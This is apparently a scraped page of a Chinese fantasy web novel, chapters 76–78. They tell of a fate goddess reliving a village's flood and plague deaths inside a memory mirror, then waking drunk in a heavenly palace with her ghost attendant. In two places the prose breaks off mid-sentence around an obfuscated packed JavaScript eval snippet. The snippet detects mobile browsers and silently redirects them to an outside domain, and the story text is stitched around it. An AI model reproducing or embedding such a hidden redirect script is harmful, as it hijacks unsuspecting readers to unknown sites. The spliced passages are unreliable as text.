他声音很小,四周很嘈杂,但不妨碍第五茗听见了,她缩了回去,闭上了嘴,从是非当中抽出身来。 而另一方,那抱怨的老兄不依不饶,嘀嘀咕咕说个没完,被第五茗的一番话,斥责得满脸羞愤。 转头,他抱怨起另一件事,道:“我这人就是太厚道了,今日上元节,所有人都收工在家,我瞧官大人独自勘验我们村那一截河道壁甚是危险,便主动舍了时间去帮忙,如今倒好,我不过就是看戏多说了两句…” 他环顾了周围一圈,忽视了那并没有多少注意力在他身上的眼睛,指着方才搭腔的几人和第五茗,道:“你们就都欺负上我了…” 有些时候,话过多是真的会惹人嫌弃,他却不顾其他人眼色,继续道:“官大人任劳任怨,舍己为人,还能得一个好名声,我辛辛苦苦一阵,倒是捞不着好了。” 依旧没人理他,那抱怨的人愤恨别扭道:“你们闲情逸致地在这里听戏,人家官大人今日落了水,回去还要继续为江岸操劳…你们…你们…太没良心了。” 是没良心,未关心他的付出?还是没良心,心疼郤人杰为众舍己? 大家伙儿可听得太明白了。 这人,是来讨要功劳的。 众人心里纷纷觉得烦躁,难怪这人打来了,就嚷着戏曲的不对,原来是想借机彰显一番自己的“汗马功劳”。 有一人回头,问道:“官大人又落水了?” 那抱怨的人点点头,道:“今天不知是不幸,还是咋回事,官大人落水,我跳进水里捞人,人捞不起来不说,还差点把自己搭进去,多亏了官大人的夫人,她熟能生巧,水下功夫了得,不稍一阵把我们两都救上了岸。” 一位小姑娘感叹道:“使官夫人又入水救大人了啊!” 此起彼伏,周围响起不少的热议声:“大人为了这水,次次不要命。” “可怜使官夫人了…” “他不是不要命,这是为了我们的命。” “你不觉得日子好过了吗?” “也是,官大人来了,我就没饿过肚子。” “风雨江有福啊,遇见了官大人。” 他们讨论得热闹,第五茗却觉得这种“人才”的事分外无聊,把注意力放在了远处的唱角身上。那曲儿越听越有味道,越听越有感觉,比写在簿子上的故事要生动得多。 过程和结局,不算十全十美,却是精彩十足。 此时,一位风华正茂的小姑娘,插言道:“风雨江有福,可是使官夫人没福气啊,她多苦啊,要是我…夫君把全部身家都赋予了别人,我定是要买一把锁,将他拴在屋里。” 说完,她指了指娟儿和宝子,又抬起另一只手,挥向第五茗和酆小洪,满意道:“像这两对小夫妻一样,夫君的目光只会在妻子的身上,那才是一位丈夫该有的,不然怎么配为人夫。” 娟儿心思未在前面戏曲上,他们挨那姑娘的位置又极近,这一句话,她正好听得特别清楚,害羞地把头埋进了宝子的怀里。 突如其来的亲密接触,让宝子眉欢眼笑,主动搭上那姑娘的话,道:“她做了我妻,我喜欢她,自然满心满眼都会装着她。” 顿了,他抬头挺胸,不忘正经道:“倘若使点力,大家都能过上好日子,我也会像官大人一样义不容辞去做,而娟儿…” 娟儿抬起头来,眼波流转道:“我也会支持你的。” 霎时,附近之人,受两人鼓舞,纷纷指责那位风华正茂的小姑娘,道:“太小气了。” “你还没嫁人,怎么会懂夫妻之间的事。” “你说官大人不体恤妇人,可官大人那是在为国拼命。” “小爱小情,如何能与家国大义相比。” “浅薄…” 那小姑娘经不住众人指摘,满脸气愤,嘀咕道:“像官大人这种人,能博爱众人,肯定留于妻子的时间就会很少啊,我是女子,我就是能感觉得到…找一个不把心思放自己身上的夫君,那我还不如不要!” 争执声振聋发聩,第五茗那一句,“他不是我夫君,我们没成亲。”生生淹没在了人潮中。 他们吵归吵,竟还置上气了,第五茗周围好些人因为这份不愉快的闲聊,一曲《锁灵囊》竟都没看全,气鼓鼓地离开了此处,浪费了请客人的心意。 忽而,第五茗想起了那妖娆妇人的话,“千万别戏还没听,先把兴致败坏了。” 她不禁心中赞同道:果然,带着不悦的心情,台上唱的词句,很难入耳… 至此,第五茗好像有些厌烦这种争吵的场景。而这种事,不是想避就能避的,她再置于这样的情形,已是在半年后的平安村。 她成了旋涡中的当事人… 却不似这样你来我往,你一句我一句,单单第五茗一人受着,其他人向她嫌弃了一句泄愤之语。 她同这夜看戏的小姑娘一样,成了他们口中嫌弃的“小人”。 风雨江下大雨、发大水,两岸村落死伤无数,风雨江使下落不明,江岸堤坝岌岌可危…沿岸负责石料的村落,离水较远,死伤较少,但此时肩上责任异常的重大。 挡水坝炸毁,急需石料修补…风雨江使了无音讯前,最后一条消息便是在广求石料。 洪水过村,这几日好不容易不下雨了,村里的水也尽数散去,大家在村子里粗略地收拾了一番。 以宝子为首的几名青壮年,收拾了行李,欲去往石料场开采石料。 而第五茗拉着酆小洪,将屋里能捡出来的东西,收拾成了一个包袱。 两拨人,正好在村子里,那条刚挖出来一人可下脚的泥沟中撞上。 不过,两行人,却恰好是两个方向。 第五茗二人,是从村内向出村的路口行去,宝子等人,却是打算沿这条泥沟,去往石料场。 见第五茗二人远远走来,宝子问道:“你们去哪? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一位妇人,从一间屋子里走了出来,双手各提了一只沾了泥的鞋,赤脚陷在厚泥里,道:“大家伙儿早些去石料场吧,那边指不定还要收拾呢…” 屋内陆陆续续出来的其他人,也齐齐催促尽快出发石料场。 “走吧,这两人管他做甚。” “听路过的人说,前后几村早休整好,开始挖料了。” “别耽搁太久…” “再来一场大水,我们就又得回深山里捡果子吃,我可不想再过那种日子了。” “指不定咱们备好石料,日子就又好起来了呢…” 字字句句,全落尽了第五茗的耳里,犹如利剑,这伤人的言语全刺进了她的心间,她却恍若没感受到这番痛苦,怔愣出神,面无表情,无动于衷。 陆陆续续,村里人绕开那条一人宽的道,踩陷厚泥,朝石料场而去。 有些心里和嘴里忍不住的,路过第五茗身旁,总要轻视他们二人一番。 有些不是那么愿意去的,骂骂咧咧,从第五茗二人身上找痛快。 理好心境,与大家一起行事,宛若当年「结营为私」,分夺酆家夫妇留下的东西,驱赶第五茗和酆小洪,此时,他们再一次展露了他们的“小人心性”。 他们想过好日子… 对第五茗这种不齐心的人,他们齐心地嫌恶。 须臾,第五茗挑嘴一笑,心道:有趣,还是第一次见定好的命数下,误撞出一番异于心性的好事。 那方,十一伯没得到第五茗的回应,同样以双手提鞋姿势,赤脚踏泥。 他跑来寻两人,嘴里喊道:“小明…小洪…” 第五茗回过神,喃喃道:“十一伯…” 十一伯刚走近第五茗身旁,脚下一拐,栽进了酆小洪的怀里,倒吸一口气道:“疼…真耽误事,竟踩到了石头。” 他自怨自艾道:“现在正需要用人,可别伤太厉害了…” 酆小洪扶起十一伯,第五茗关心道:“伤到了吗?” 十一伯拧眉,道:“还好,小伤。” 停顿片刻,他继续道:“我不走了。” 第五茗心思沉重道:“不走了?十一伯…若你信我,请务必和我一起离开。” 她担心漏出异于常人的言语,借口道:“还记得当年路过的道长吗?他曾经对我说过,我们村之后但凡遭遇大劫,余生必小难不断,需得舍弃根本,另寻他处…照风雨江现在的情形,根据道长的教言,平安村定会有死伤。我们村上百份命数,逃脱一两份,应该是没有人能发现的。我们早些离开,找一处安全点的地方,只要出了平安村的地界,应该就没事了…你若是不想去其他村,我们去山里也是可以的。” 风有情哪知道命格簿子内的事啊! 是她太清楚,太了解那帮写故事的司命… 以及天命天道为劫难人设置波折的手段。 一个大的故事情节,必定会跟上数不尽的小灾小难,从而让整个故事看起来更加“生动”,让那些匪夷所思的事,看起来更加顺理成章。 断然不会出现,像风有情历情劫时,她因青涩笔拙,而写出的“公主为爱失常,乱剑砍杀将军”的桥段。 她在平安村得了十一伯不少照料,心生人情,遭遇天灾天难,首先想到的便是带十一伯和酆小洪安安稳稳走完余生,让他们不要成为这场天劫下的无辜之魂。 77. 二十载风雨一世8 三人一阵沉默,十一伯久久张不开口。 此时,两夫妻抱了一个小孩,从第五茗三人身旁经过,那小孩直愣愣地看了第五茗两眼,回头向抱他的男人问道:“阿爹,你不是说只要多挖石料就能吃到馍吗?他们不想吃馍吗?” 那男人轻拍小孩后背,粗声粗气道:“官大人现在缺石料,替他办事,大家都能过上好日子。” 顿了,男人唉声叹气道:“就算吃不到馍,小轩也该去帮官大人这个忙了…” 小轩不解道:“可是…阿爹,你不是说我还小吗?去了干不了什么的…” 小轩阿爹道:“人多力量大,总会有用的…小轩不要再问了。” 小轩噘嘴道:“哦…” 十一伯视线顺着那几人移动,喃喃道:“小明,你还记得吗?当初我带你们二人进山时,我曾说过平安村是逃荒时,大家从山里相遇,一起来山脚落的户。可是你不知道,在山里时,大家是怎么过的日子…” 良久,十一伯从厚泥里挣扎出,站进了那一人宽的道上,道:“就是像如今这样…同那些小曲里唱的一般,蝇营狗苟之人,也会有众志之心。” 第五茗一听,心头一震,哑然道:“这心成不了事的。” 十一伯道:“那又何妨,大家尽力而为,结果如何…如果真的那么在意,当年道长三言两语,也是留不下你们两人的。” 随即,十一伯一阵叹息,一脸歉意道:“那时平安村很穷,连糊口都困难,所以生了些不好的念头,可后来轻松了些…他们不是就变着法地,让你们两个小娃子活下来了嘛。” 第五茗点头道:“我知道。” 或许,那日的事情是受人挑唆,让平安村众人深藏的心性暴露无遗。 可后来那些年拾荒的东西…她都记得。 他们…也并非只是在走簿子中的安排。 酆家夫妇的气运,的确换了她留在平安村,后来的舒坦日子,除了那新上任的使官大人,她更多是从平安村汲取而来。 第五茗纠结道:“我不是在意结果,只是…我能力有限,做不了那么多了。” 平安村,死气显现。 一世一故事,不过是希望眼前人的故事走得更完整。 难道…有错吗? 突然,酆小洪出言道:“你心里难受,我们去石料场吧。” 第五茗弱弱地道:“你也想去?” 酆小洪摇头道:“不是我想去,是你想去。” 第五茗否认道:“我没有…” 酆小洪道:“我和十一伯,都不怕的…” 第五茗微微蹙眉,询问道:“不怕什么?” 十一伯见第五茗漏了心迹,高兴道:“还能不怕什么,自然是不怕与大伙同甘共苦咯,你这女娃子打小心思就重,也不知道在想些什么,说话做事都避着人,想做就去做啊,他们又不会笑话你,十一伯我更不会,只会觉得开心。” 第五茗小声道:“我没有任何想法,我也不想做任何事,和我没有关系的,这都不过是一份故事…我不在乎,不在乎的…” 十一伯笑颜顿促,道:“什么故事不故事的?想那么多做什么,你这女娃子,这些年我都瞧在眼里,你是个不错的孩子,怎么今时遇见事情变得扭扭捏捏了,当年小洪受伤时的干净利落呢?算了…” 第五茗沉思不语。 十一伯朝石料场方向望了一眼,一大半人都消失在了山口处,他长呼一口气,催促道:“女娃子,你的好意十一伯心领了,十一伯也得早些进去。” 笑呵呵,他玩笑道:“年初看戏的时候,听戏班的人说,那小小的一折子,开戏前,角色都要靠抢,角儿原比上台的人数要多上不知多少…那破场地,那脏戏服,那五人班组,啧啧啧…今日我们唱“大义”,一村子的人,我去晚了,估计怕是就抢不到好位置了…” 第五茗低着头,闭嘴未张。 语毕,十一伯一瘸一拐,向前迈去,嘴里忍不住叨叨地道:“不知道他们能给我留个什么‘角’?年龄这么大了,脚还伤了,可惜了,怕只能是派不上大用场的小配角了…” 一折戏,一村人… 是啊。 一村人,一折戏。 上场唱了,总该是会有人觉得精彩的。 第五茗声音浅浅,道:“十一伯,再…再问我一遍吧。” 闻言,酆小洪眉心舒展。 十一伯脚下一停,会意笑道:“要不要留在平安村?要不要一起去石料场?” 第五茗道:“要。” 说来也可笑,她没能带走酆小洪和十一伯,反而他们把自己说服,留下来了。 这平安村的一折戏,果然如她所料,短短的,很快就结束了。 没几日,差役来了,不过不是来收石料的,而是差役们在大水前,就得了郤人杰的安排,准备了粮食和物品,以及疫病的防护草药,受大水灾后阻挠,这才迟了些时日送到各镇各村。 也就是差役送东西这几日,疫疾四起,平安村两百号人,因此全丧命在了石料场。 其中包括第五茗… 闭上眼昏睡的时候,第五茗没有等来埭骰埭桡,没有等来恢复法力的仙君隗晎,她又一次听见了弃尸坡上的嘈杂… 和先前入回忆时一样,对话的声音十分清晰,有男有女,有老有少… 对话原封不动的,也还是那些: “阿爹,我害怕…呜呜…” “走快些!!” “这弃尸坡,听说小鬼多。” “怕、怕什么…后面…不是还有那么多人嘛。” … 又回到这段记忆了? 第五茗懒得去挣扎…没一会儿,如她所猜,她再度见到了酆家夫妇。 没错! 她的确是再一次入了这段人间二十载的回忆里。 第五茗十分纳闷:怎么回事?先前的剑和手臂,风有情的金色情丝…我不都是看过一遍就出去了吗?这一次,怎么还困在里面… 经历第二遍的时候,第五茗没心情去细细品味二十年里发生的事情,在过到酆家夫妇丧命那一日,她有一刹那失神,看着那满头鲜血的小人,缓缓地陷入沉思:原来,在这里酆小洪已经不是酆小洪? 难怪你能回归仙身时,便知道那般多的消息,我却无所察觉… 她心里百千滋味,嘴上却是不依不饶,吐槽道:“为何不早些表明身份!入鬼门关一路让我走得是要多小心、有多小心!!果真是‘儿大了会欺娘’!!!” 第二遍结束后,第五茗心口莫名抽疼。 紧接着,她又入了回忆第三遍,第四遍…第六遍… 心口的疼痛越发强烈,有什么东西要被抽出来! 她的视线逐渐模糊…记忆也变得越发不清晰。 是什么东西? 在她这段回忆里,好似有一些很重要的东西不见了。 隗七假扮的酆小洪? 不是! 他还在!!他还是那个机智的痴傻儿。 博爱仁义的酆家夫妇? 好像也不是… 每次闭眼,第五茗都能再次同他们回家… 难道是十一伯? 不是不是…他也还在。 究竟是什么? 她心口那阵疼痛,抽走的是什么… 第五茗又一次闭上眼睛。 猛然,她奋力睁开!! 原来是这个!!! 空荡荡的石料场,在第六遍记忆中,变成第五茗和几十人躺在篷布下休息。 其他人呢? 这可和第一遍记忆对不上!! 究竟哪一遍才是对的? 第五茗脑袋有些虚乏,疼痛得厉害,心口更痛…最终,眼睛沉重地闭合上,耳边又传来弃尸坡的嘈杂… 她入了第七遍回忆。 这一次,她脑中不再东想西想,集中注意力,认真留意人间二十载里,她这一世命数中,好似不是那么重要的配角。 平安村的村民究竟是在什么时候消失的?! 她一定要看看,究竟是她记忆出了问题,还是她的意识出了问题…几名曾欺负过她和酆小洪的村民,在众人结队去石料场时,他们选择听取第五茗说给十一伯的话,离开村子,在村口,消失了。 第八次回忆中,第五茗便没有再见到这些人… 第五茗晕头转向,分不清如今的记忆是对的,还是残存的意识是正确的。因为在平安村的日子中,那些宵小命数之人,本就不该有最后的义举,也不该会出现否定第五茗话的行为… 她可是司命府能力最强的司命真君! 她最清楚命中故事,和那承载命数的生灵该如何走向。 第九遍记忆如期开始…这一次消失的是宝子和娟儿。 第十遍中,有些和他不相熟的村民继续留在了她的记忆里,有一部分也依旧消失了。 可是!这一次,里面有十一伯… 居然是十一伯… 不对!! 第五茗震喊道:“给我停下!!” 记忆里的人还在重复记忆力的事,她停了下来,捡起一块碎瓦片,在手腕处划上一条大口子,让血喷涌而出。她脸色惨白,另一只好手,沾了血,在地上、身上、别人身上,画出一幅又一幅破解禁制的法咒。 然而,这些都没有用… 不知道是第几遍,记忆里的人,一个都没有了,连酆小洪也死在山里下大雨的那一天。 随即,第五茗闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752232|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上眼,耳边再次响起嘈杂声,丝毫未变… 她又回到了弃尸坡。 这一次,没有人再将她抱起来。 第五茗眼前一片黑暗,她痴笑道:“我竟是忘了,我是在孽镜台内,我是在镜林里…镜面照我身,想来映的也是我的心境吧。” 片刻,她眼角沁出一丝银光,嘻嘻笑道:“原来如此…我是这般害怕,害怕一切皆是幻影,害怕我所见的都是假象,害怕那簿子上,和天命天道下的一切真理,害怕是自己错了。” 顿了顿,她失声哑然道:“真是好狠啊,居然挑了平安村…” 猛然,金光破炸,她睁开眼皮,驻足而立,面前一片高山模样的镜片,上面映了她的身影,而她身影后,是方才心痛时,一点一点被抽走的记忆。 第五茗指尖抹掉眼角的不适,缓缓地抚摸向镜面。 手还没有触上镜片,刹那间,里面的她先一步伸出了手,抓住了外面的她。 还真是突然…第五茗倒像是有所准备,脚下岿然不动,手上使着相同的力道。两厢较量,镜面里的手本来就漏在外面,现下,被第五茗又拖拽出一节。 看到这里,眼神没问题的人都知道,明显是外面的人力量更加大一些,然而,那镜面里的「第五茗」好似木头,只和境外的第五茗,较着力量。 第五茗嘲讽一笑,一把将里面的「她」拖了出来,那人影刚出镜面,便回到了她的身体里。 顿时,神清意明,第五茗浑身舒爽,眸中闪烁,“咔咔咔”活动筋骨,低吼道:“白痴!我是害怕,但不代表我胆小!!” “想拖我进去?!先问问天道下挂的那副神格同不同意!!” “把偷走的东西,都给我还回来!!” 拳锤落下,第五茗徒手碎了面前的镜子,指背破口,顺镜面裂缝渗出鲜红的血,上面有点点金光。 此时的她是回到了魂体,魂体力的血是那带了神格法力的好东西… 她心中兴奋,脸上笑容张扬,嘴中咒念,手上姿势不变。 而那金辉并没有随咒语结出诀印,却是凭空由心闪幻出一道杀伐阵法。 砰! 镜山像炮仗,伴随一道剧烈的爆裂声,变成银针雨落在地上,簌簌一阵,里面被偷走的东西,疯狂地涌出,撞向第五茗。 砰!!咚咚咚咚… 有一说一,第五茗方才用的劲儿太大了,这些记忆是照射她心境,拉出来的东西,她火气有多大,这群东西奔撞的力道就有多猛。 第五茗毫无防备,被撞得四叉八仰地呈一个“大”字,身体僵硬,倒在地上。 一如最初,三面境山围过来时,她也是这样一个姿势,摊手摊脚,大开大张。 那剩余镜面里的锁链顺势得势,立即穿蹦出来,锁紧她的手脚,将她吊了起来。 “哎哟…哎哟…疼死了…” 少了一面镜子,就少了一份束缚,左腿一晃,稍稍松了劲儿,第五茗半边身子没了承重,掉了下去,她惊呼道:“怎…怎么了?!塌…了?” 一道清爽的声音,答道:“没有,是真君饮太多阳酒,翻下床了。” 第五茗猛然睁开眼,眼睛滴溜溜转了一圈。 只见四周是白玉墙,金箔柱,水晶、夜明珠… 嗯?? 她心里不住地犯嘀咕:听错了?也没有人啊? 头昏脑涨,浑身发酸,疼痛慢慢淡了下去,她闭上眼,翻转身子,找了一个舒服的姿势缓解。 有些唇干舌燥,她抱怨道:“渴死了…” 两只琉璃盏奉到她身旁,里面都装了透彻的琼浆。 那道声音再度传来,道:“真君喝酒?还是…” 砰!哐哐当当… 一张木盘掉在地上,一个身影跟着蹲了下去,两只琉璃盏被打飞在书桌上,恰巧落在墨汁微稠的砚台中,此时,酒水沁入,又把那墨汁给搅浑散开,砚台旁凌乱地摊开着十几本簿子…上面相同地,写了一只小鬼的生身信息,和一则故事。 不同的,有些,还没写上结局。 白玉墙,金箔柱,水晶、夜明珠…适才睁开眼睛时看见的东西,这时,纷纷闯入第五茗的脑海,她蹭的一下坐了起来,含糊不清道:“怎么…回来了?” 不,她不是想说这句话。 她的身体里还有一个声音,那声音正是刚收回平安村记忆的第五茗,而她想问的不是这句话,她想要“自己”说出口的话,另有其他,“怎么到六天宫了?!!这不是做司命时住的地方吗??怎么来这里了?不应该在内境台内吗?!!镜子呢?” 须臾,她看见地上站起来的人,心如明镜:唉!才刚毁了一面镜子出去,怎么又掉进一段回忆里了。 搞什么鬼呢!!! 78. 散阳误惹一鬼心1 屋里的另一人,不是别人,正是那在六天宫做鬼时的隗晎。 这个时候,十七只小鬼早已入了第二天宫,修炼有了进展,体魄和身量具有变化,尤其隗晎,宛若蜕皮重生,模样不仅俊俏,连脸上都瞧不出多少鬼气,好似一个有魂命的鬼仙。 隗晎答道:“在野鬼村酒肆,真君喝了不少凡间送进来的阳酒,有些醉了…我便把真君带回了府内。” 第五茗“哦哦哦…”应着,半躺在软塌上,手敲脑袋,努力回忆道:“本君…想…想起来了,是那牛头嘲笑本君不会作画,本君…和他拼酒,他喝茶酒,我饮阳酒…可恶!竟敢嫌弃本君的画作。” 隗晎道:“真君还口渴吗?” 第五茗抿抿唇,眼睛看过去,半掩眨了眨,道:“渴…想喝水…” 隗晎转身重新拿了一只琉璃盏,从茶壶里倒出一杯,递了过去。 那杯“水”着实香醇。 可能因为方才打翻的一杯“水”和一杯茶酒,悉数洒在房里,慢慢挥散,酒气飘到四处都是味儿,让隗晎一时不查,那茶壶里装的,竟也是酒。 茶壶中,“水”不是水,是甘爽阳酒。 第五茗大口喝下,解了渴,却是把心底的酒瘾又给勾了出来。 她从软塌上走了下来,摇摇晃晃去到桌旁,提起那只茶壶,踉踉跄跄地坐到桌案前,张开双唇,嘴含住茶壶嘴,咕咚咕咚,灌下几大口,又往里倒了满满一嘴酒水,方心满意足地放下了茶壶,缓缓地品味嘴里的浓香。 隗晎安安静静地守在一旁,眼中没有丝毫懈怠和不耐烦,他紧盯第五茗的一举一动,双手蓄力,时刻准备着去托住,有可能会从椅上跌落下的第五茗… 第五茗胡乱地在桌上翻找,身姿歪歪斜斜… 隗晎严阵以待,手上不自觉跟着第五茗的动作,左右轻微晃动… 过了好大一会儿,第五茗仍旧“安安稳稳”地匍匐在桌案上翻找,时而拿起茶壶,饮一口。 这时,一阵鬼叫声,叽叽喳喳地从府门门口传来:“瞧,那是司命府最没德行的司命…” “当心些,她可是真君,是大上仙!!” “怕什么…我在地下这么多年,倒是没看出她有多大本事,惯常被小鬼和大人们捉弄…” “不是吧,来这的仙君对她不是都挺恭恭敬敬的吗?她还能被六天宫的人欺负了?” 门口的小鬼越说越起劲儿,其中一个资历看起来很深的小鬼,道:“你还不知道吧,真君今天喝成这样…是她…” “她怎么了?” 那老资历小鬼,掩面偷笑,道:“她作画只会稚童的五瓣花,牛头大人画出一幅山水图,把她气着了。” “原来是这样…” “心气儿也忒小了!!” “她当真是天上来的上仙?” “是吧…她不是司命府的真君嘛,都能差遣小鬼干活…应该是的,她是上仙。” “可怜房里那只伺候的小鬼了…” “生得那般好的模样,却不得不整日战战兢兢过活,犹如低贱小厮,可惜了…” 相似的话,隔几日,六天宫内的司命府门口,总要响起一连串,第五茗已经习惯了。 不知道是不是她醉得太迷糊,仿佛听不见这些小鬼说的话,自顾自在桌案上翻找,宽大的青袖,把几本命格簿子带到地上,一片狼藉,从外朝司命府内瞧,更加不成体统,有些折损仙君体面。 隗晎脸色不明,出入司命府这么久,虽然知道这是第五茗故意而为,可他依旧不习惯这种场景,尤其不喜欢别人编排第五茗的是非,走到门口,驱赶探头的小鬼。 又一摞本子掉在地上,第五茗喃喃唤道:“隗七…隗七…” 听到桌案前的呼唤,隗晎不得不折回来,弯腰收捡地上的东西,起身道:“真君,你是在找什么吗?” 第五茗嘴唇撅起,宛若一个孩童,有怨有气,撒娇道:“这么…大一张桌子…” 啪啪——啪啪——她双手在桌子上拍了两下,拿起笔在砚台边缘叮叮叮敲着,不满道:“有书,有笔…有墨,怎么…就没有纸呢!!我要画画!!!” 门口,方才离开的那几只鬼头,嘻嘻地再次凑回了白日里关不上的门扉:“哈哈哈,这哪里是大仙,分明是小孩啊…” “真小气。” “你不觉得挺可爱的吗?” “那倒是…不过,真君在对谁撒娇呢?” 乍然,小鬼们的视线被隗晎的背影挡住,紧接着,从隗晎的身前,传了第五茗的叫嚷,道:“太吵了!!” 一道结界锁住了整个司命府。 司命府的门扉白日的确是关不上,可是,第五茗法力深厚,若是她想“关门”,她有的是办法。 例如,此时的结界,是她惯常用的方法。 隗晎叹息道:“真君,你何不把门上的禁制解了,结界消耗法力居多,着实有一些浪费。” 第五茗嘟囔道:“不…不浪费,本君喜欢…喜欢,拉结界…可比关门强,他们…闯不进来,进来的人也跑…不出去,你看…你只能…和本君,待在一起了。” “哪里…也去不了…” 闻言,隗晎一顿,慌乱地转了一个身,朝门口走了两步。 门口的小鬼看不见桌案前的隗晎,也听不见桌案后第五名的声音了,悻悻地,一个一个地慢慢离开了。 第五茗迟疑道:“隗…七,你去门口干什么?那里有什么吗?不对啊…本君设下的结界,你还有本事撕开…看见外面??” 隗晎转了转脑袋,朝周围的结界看了一眼,果然,和门口一样,俱是一片模糊,他无奈道:“没什么…真君方才不是说想作画吗?屋内没有白纸,我想去替真君拿些画纸。” 第五茗懵懵地道:“哦…你去吧。” 隗晎一怔,回身,尴尬道:“我出不去,我还没有能力解开真君的结界,需要真君先撤掉…” 这怎么行!!第五茗摇头道:“不撤!外面吵…吵得脑子疼…” 小小的一方桌案,只有一仙一鬼,和两处呼吸声。 不知何时,她给里面也拉了隔音的结界。 呼吸缠绵,恍若在耳畔,隗晎脸色羞红,脚下上前半步,心泛涟漪,连他自己都未察觉到,他此时像对待小姑娘一般,语气软软地哄着,道:“那真君还想作画吗?” 第五茗端坐在椅子上,点头道:“想…” 忽而,她眼神凶狠,震声喊道:“本君一定要…要打败那头牛的…山…山水画!” 那副模样维持不到一刻钟,她又模样委屈道:“小花挺…好看的,他们怎么…能说本君是学…艺不精,本…本君,可是天生…神格,学什么…都很厉害的。” 隗晎诚恳道:“小鬼浅薄,见识短,自是无法与真君相比。” 然而,第五茗并没有得到鼓舞,垂头丧气,闷头饮茶壶中的酒,另一只手,在桌上乱翻。 醉酒后的第五茗有一个坏毛病,在昏睡过去前,会变成一个实打实的戏精。 可能那是跟着老司命写命时落下的坏习惯,此刻,她又开始放飞自我。余光扫到一本簿子,她把其中故事主人公的性情随手拈来,安排在了自己身上。 眼波流转,在屋内的另外一人身上打量,她想发泄心底不悦,换了一个语气,对隗晎勾手诱惑道:“隗七,你过来!本君…想赏你一个机会,赐你一幅画…怎么样?” 一丝酒气在第五茗指尖缠绕,顺她手指,飞向了隗晎。 可想而知,那团酒气撞上隗晎的瞬间,便让他迷了心智。未做犹豫,他宛如木偶,走到桌案对侧,陪笑道:“真君,屋内没有白纸,你先把结界撤了,我去给你寻作画的纸。” 第五茗拿起茶壶喝了一口,站起身来,双腿一搭,人坐在了桌案上,她一手拉起隗晎的一只手臂放在膝盖上,另一只手慢慢地撩起他的袖襟。 一系列事情做完,第五茗腾出双指在隗晎眉心一弹,见对方醒了心神,绵绵地道:“本君…送你的东西,当然是…直接画在…你身上最方便。” 清醒过来的隗晎,并没有抽回那只被按在第五茗膝上的手臂,他微微蹙眉,手握拳,问道:“真君,这回送来的命格簿子中…该不会是有一位伶人的命数吧?” 第五茗颔首浅笑,又一指轻轻敲叩在隗晎额间,道:“隗七就是聪明…” 会逗趣小鬼了,看来是心情变好了。 听到这话,隗晎叹息一声,不想坏了第五茗的兴致,乖乖地任由她折腾他的胳膊。 笔未落下,一滴墨汁先染在隗晎粗壮的小臂上,立马,那湿漉漉的笔端,搭上那滴墨汁儿,顺一个方向打出五个旋儿,墨迹渐干,芳香四溢,一朵稚童初学时最喜欢画的五瓣花,在酆小洪小臂上落成。 那五瓣花画在隗晎手臂上甚是奇特,除开墨迹,第五茗恍惚间,还看见魂体燃烧的痕迹。 星火点点,红晕浸出…她揉了揉眼睛,低头靠近那朵花,手指在上面顺笔迹走过… 上面没有法力。 她摁住脑穴,使劲儿回上两分神志,疑惑道:“隗七,本君…本事大吧?这朵花是不是…很好看?虽说普通,但有谁能画出这样的光彩来…除了本君,没有人的墨汁…能画出烧魂之像,本君的技法…他们看不懂…” 末了,她放弃去纠结那神奇的现象,拿起茶壶喝上几口,迷迷糊糊,小声嘀咕道:“本君都有些看不懂,何时…练…练的这技法?算了…懒得琢磨了,这花…真好看。” 桌上的茶壶源源不尽,酒香醇厚,漏出的一两滴,渐渐弥散在密封死的结界中。 酒能助兴,作画这种风雅事,必然是少不了酒的,第五茗拿起茶壶的手就没停下,咕咚咕咚往嘴里喂,解完“渴”,她埋下头,继续画上第二朵,第三朵… 她越画越开心,笔下出神入化,心间却糊涂懵懵,浑然未察觉,在这一番折腾中,一直对她有问必答的隗晎,居然是一字没说。 那厢,隗晎脸色煞白,痛苦不堪,他无法张嘴出声,更别说同第五茗搭言接话了。他冷眼凝视砚台边的琉璃盏,抿唇隐忍,渡出法力,延缓阳酒在肌肤上灼烧,生怕一不小心,呼叫出声,扰了第五茗。 受酒气蛊惑,他虽痛,却如梦如痴,心间涟漪不断,心甘情愿。 半盏茶的功夫,隗晎的小臂上布满小花。 满臂的墨迹,亮眼的火星,实在美得诡异,让人舍不得挪开眼。 阳酒沾得多了,法力逐渐缓解不了阳酒带来的灼热,隗晎整个身体,由内而外,不再像鬼一样冰凉,浑身似火炭,越来越烫。 第五茗正在往隗晎的手背上画收尾小花,手指无意间触碰到隗晎的肌肤,她困惑道:“隗七…你何时修炼出…肉丨体了?怎么会…有这…么高的温度?” 隗晎静默不语。 第五茗追喊道:“隗七?怎…的不答话?” 她有所察觉了? 这么想就错了… 一个埋头在画作之上,一个闭眼坚丨挺焦灼之感,自是谁也没发现谁,更不清楚此时的对方是一副什么样的状态。 然而,第五茗这一问,却是问得极好。 隗晎无力抵抗了,他能配合的,只能到这里了… 喉间干渴,他嘶哑虚弱道:“咳咳咳…真君,我有些口渴…容我先解解渴。” 第五茗双手在隗晎裸露的手臂上探查温度,脑袋晃晃,点了点头。 她没有施法掐诀,不管在隗晎手上摸多久,无疑是探不到神格、魂命之类,以及改变小鬼体质的东西。 最后,她也只能得出一个结论,此时的隗晎,身体很烫。 长吐一口气,第五茗对今天见的烧魂之像,和小鬼发烧,百思不得其解,由于酒劲儿上头,现下,也由不得她去思考原因。 悻悻然地,她伸手,去拿桌上的茶壶,半天,那桌面都空荡荡的,而手中握住的那只手臂宛如着火,烫手得不得了,眼前手臂上的小花,似被点燃,熊熊烈火,聪总蔓延。 同时,伴随一阵闷哼… 第五茗心头一漏,思忖道:阳酒杀鬼!! 满屋子的酒气,让她忽视了这酒味是从何而来。 